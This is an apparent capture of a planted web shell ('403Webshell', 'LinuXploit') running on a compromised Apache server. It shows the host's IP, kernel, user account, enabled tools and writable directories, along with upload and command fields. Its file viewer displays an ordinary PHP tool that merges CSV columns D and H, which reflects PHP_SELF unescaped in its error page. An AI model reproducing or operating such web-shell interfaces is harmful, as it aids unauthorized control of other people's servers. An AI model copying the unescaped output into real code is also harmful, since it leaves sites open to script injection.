403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/Tabs-Merge-Notes.php
<?php
// combine_columns_dh.php
// Upload a CSV and rewrite Column D => "D, H" (but only if H is non-empty)

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['csv_file'])) {
    $err = null;

    if (!is_uploaded_file($_FILES['csv_file']['tmp_name'])) {
        $err = "No file uploaded.";
    } else {
        $tmp  = $_FILES['csv_file']['tmp_name'];
        $name = basename($_FILES['csv_file']['name']);
        $firstRowHeader = isset($_POST['header']) && $_POST['header'] === '1';

        $in = fopen($tmp, 'r');
        if (!$in) $err = "Unable to open uploaded file.";

        if (!$err) {
            $out = fopen('php://temp', 'w+');
            if (!$out) $err = "Unable to create output stream.";

            if (!$err) {
                $rowIndex = 0;
                while (($row = fgetcsv($in)) !== false) {
                    if ($rowIndex === 0 && $firstRowHeader) {
                        fputcsv($out, $row);
                        $rowIndex++;
                        continue;
                    }

                    // Pad row to at least 8 cols (A=0, D=3, H=7)
                    for ($i = count($row); $i < 8; $i++) $row[$i] = '';

                    $colD = trim((string)$row[3]);
                    $colH = trim((string)$row[7]);

                    if ($colH !== '') {
                        if ($colD !== '') {
                            $row[3] = $colD . ', ' . $colH;
                        } else {
                            $row[3] = $colH;
                        }
                    } else {
                        $row[3] = $colD; // unchanged if H is empty
                    }

                    fputcsv($out, $row);
                    $rowIndex++;
                }

                rewind($out);
                $downloadName = 'combined_DH_' . preg_replace('/[^A-Za-z0-9._-]/', '_', $name);
                header('Content-Type: text/csv');
                header('Content-Disposition: attachment; filename="'.$downloadName.'"');
                header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
                fpassthru($out);
                fclose($out);
                fclose($in);
                exit;
            }
        }
    }

    if ($err) {
        http_response_code(400);
        echo "<!doctype html><html><body><p style='color:red;'>$err</p><p><a href='".$_SERVER['PHP_SELF']."'>Go back</a></p></body></html>";
        exit;
    }
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Combine CSV Columns (D = D + H)</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
  body{font-family:system-ui,Segoe UI,Roboto,Arial,sans-serif;line-height:1.45;padding:2rem;background:#f7f7fb;color:#222}
  .card{max-width:640px;margin:0 auto;background:#fff;border-radius:14px;box-shadow:0 8px 24px rgba(0,0,0,.08);padding:24px;}
  h1{font-size:1.25rem;margin:0 0 1rem}
  .hint{color:#555;margin:.5rem 0 1rem}
  label{display:block;margin:.5rem 0 .25rem}
  input[type="file"]{display:block;margin:.25rem 0 1rem}
  .row{display:flex;align-items:center;gap:.5rem;margin:.25rem 0 1rem}
  button{appearance:none;border:0;background:#111;color:#fff;padding:.75rem 1rem;border-radius:10px;cursor:pointer}
  button:hover{background:#000}
  small{color:#666}
</style>
</head>
<body>
  <div class="card">
    <h1>Combine Columns: D = D + �, � + H</h1>
    <p class="hint">Upload a CSV. For each row, Column D will keep its original value and have Column H appended (with a comma) if H is non-empty. If H is empty, D is unchanged.</p>

    <form method="post" enctype="multipart/form-data">
      <label for="csv_file">CSV file</label>
      <input type="file" id="csv_file" name="csv_file" accept=".csv" required>

      <div class="row">
        <input type="checkbox" id="header" name="header" value="1" checked>
        <label for="header" style="margin:0;">First row is a header</label>
      </div>

      <button type="submit">Process & Download</button>
    </form>
  </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit